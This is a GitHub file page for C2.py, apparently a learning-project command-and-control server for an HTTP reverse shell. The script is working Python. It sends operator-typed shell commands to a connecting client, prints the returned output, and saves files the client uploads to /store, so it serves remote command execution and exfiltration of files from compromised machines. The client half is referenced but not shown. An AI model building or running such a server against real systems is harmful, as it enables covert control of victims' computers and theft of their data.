-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathC2.py
More file actions
51 lines (42 loc) · 2.1 KB
/
Copy pathC2.py
File metadata and controls
51 lines (42 loc) · 2.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import http.server
import os, cgi
HOST_NAME = '192.168.0.152'
PORT_NUMBER = 8080
class MyHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
command = input("Shell> ")
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(command.encode())
def do_POST(self):
#Here we will use the points which we mentioned in the Client side, as a start if the "/store" was in the URL then this is a POST used for file transfer so we will parse the POST header, if its value was 'multipart/form-data' then we will pass the POST parameters to FieldStorage class, the "fs" object contains the returned values from FieldStorage in dictionary fashion.
if self.path == '/store':
try:
ctype, pdict = cgi.parse_header(self.headers.get('content-type'))
if ctype == 'multipart/form-data':
fs = cgi.FieldStorage(fp=self.rfile, headers = self.headers, environ= {'REQUEST_METHOD': 'POST'})
else:
print('[-]Unexpected POST request')
fs_up = fs['file'] # Remember, on the client side we submitted the file in dictionary fashion, and we used the key 'file'
with open('/root/Desktop/place_holder.txt', 'wb') as o: # create a file holder called '1.txt' and write the received file into this '1.txt'
print('[+] Writing file ..')
o.write(fs_up.file.read())
self.send_response(200)
self.end_headers()
except Exception as e:
print(e)
return
self.send_response(200)
self.end_headers()
length = int(self.headers['Content-length'])
postVar = self.rfile.read(length)
print(postVar.decode())
if __name__ == '__main__':
server_class = http.server.HTTPServer
httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
try:
httpd.serve_forever()
except KeyboardInterrupt:
print ('[!] Server is terminated')
httpd.server_close()